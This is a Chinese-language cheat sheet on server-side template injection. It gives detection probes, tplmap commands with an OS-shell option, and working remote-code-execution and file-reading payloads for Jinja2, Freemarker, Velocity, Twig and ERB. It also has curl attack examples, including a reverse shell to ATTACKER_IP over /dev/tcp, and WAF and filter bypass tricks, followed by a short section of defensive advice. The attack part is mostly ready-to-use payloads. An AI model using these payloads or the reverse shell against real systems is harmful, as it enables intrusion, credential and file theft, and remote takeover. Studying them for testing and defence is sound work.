SSTI - 服务端模板注入

漏洞概述

服务端模板注入 (Server-Side Template Injection) 发生在用户输入被直接拼接到模板引擎中执行时。攻击者可以注入恶意模板代码,执行任意命令。

OWASP Top 10: A03:2021 (Injection)
危害等级: ⭐⭐⭐⭐⭐


常见模板引擎

语言 模板引擎
Python Jinja2, Mako, Tornado
Java Freemarker, Velocity, Thymeleaf
PHP Smarty, Twig
JavaScript EJS, Handlebars, Pug
Ruby ERB, Slim

漏洞检测

手工检测

# 数学运算测试
{{7*7}}         # Jinja2: 49
${7*7}          # Freemarker: 49
#{7*7}          # Ruby ERB: 49
<%= 7*7 %>      # ERB: 49
{{7*'7'}}       # Jinja2: 7777777

# 模板语法探测
{{self}}
{{config}}
{{request}}
${class}
#{request}

工具检测

# TPLMap (自动化检测)
python2 tplmap.py -u "http://target.com/page?name=*"
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell

# Burp Suite
- 使用 Intruder 测试不同模板语法
- 使用 Scanner 自动检测

利用方法

Jinja2 (Python)

# 读取配置
{{config}}
{{config.items()}}

# 读取环境变量
{{config.items()|selectattr(0,'eq','SECRET_KEY')}}

# 执行命令
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}

# 获取 os 模块
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# 完整 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{b['eval']('__import__("os").popen("id").read()')}}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

Freemarker (Java)

# 读取文件
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd")}

# 执行命令
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

# 读取环境变量
${configuration.getSetting("auto_import")}

Velocity (Java)

# 执行命令
#set($class = {}.class)
#set($method = $class.forName("java.lang.Runtime"))
#set($run = $method.getRuntime())
$run.exec("id")

# 读取文件
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($str=$class.forName("java.lang.String"))
#set($proc=$class.forName("java.lang.ProcessBuilder"))
#set($proc=$proc.getDeclaredConstructor($str).newInstance("cat /etc/passwd"))
#set($process=$proc.start())

Twig (PHP)

# 执行命令
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# 读取文件
{{include("/etc/passwd")}}

ERB (Ruby)

# 执行命令
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>

# 读取文件
<%= File.open("/etc/passwd").read %>

实战案例

案例 1: Flask + Jinja2

# 检测
curl "http://target.com/search?q={{7*7}}"

# 信息收集
curl "http://target.com/search?q={{config}}"

# RCE
curl "http://target.com/search?q={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"

# 反弹 Shell
curl "http://target.com/search?q={{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"').read()}}"

案例 2: Java + Freemarker

# 检测
curl "http://target.com/user?name=${7*7}"

# RCE
curl "http://target.com/user?name=<#assign%20ex%20=%20%22freemarker.template.utility.Execute%22?new()>${ex(%22id%22)}"

案例 3: Python Tornado

# 漏洞代码
class MainHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument("name", "")
        template = f"Hello {name}"
        self.write(tornado.template.Template(template).generate())

# 利用
{{handler.settings}}
{{request.connection.context._request.connection.context._request.headers}}

绕过技巧

WAF 绕过

# 字符串拼接
{{'__clas'+'s__'}}

# 编码绕过
{{request|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}

# 列表推导
{{[c for c in ().__class__.__base__.__subclasses__()]}}

# 字典访问
{{{}['__class__']}}

过滤器绕过

# 使用 |attr() 代替 .
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}

# 使用 |map()
{{['id']|map('request','application')}}

防御建议

  1. 使用安全模式

    # Jinja2
    env = Environment(autoescape=True)
    # 或使用 SandboxedEnvironment
    from jinja2.sandbox import SandboxedEnvironment
    env = SandboxedEnvironment()
  2. 避免用户输入进入模板

    # ❌ 错误
    template = Template(f"Hello {user_input}")
    
    # ✅ 正确
    template = Template("Hello {{name}}")
    template.render(name=user_input)
  3. 输入验证

    # 白名单过滤
    allowed_chars = re.compile(r'^[a-zA-Z0-9\s]+$')
    if not allowed_chars.match(user_input):
        raise ValueError("Invalid input")
  4. 最小权限原则

    • 运行在低权限用户
    • 禁用危险函数
    • 限制文件访问

参考链接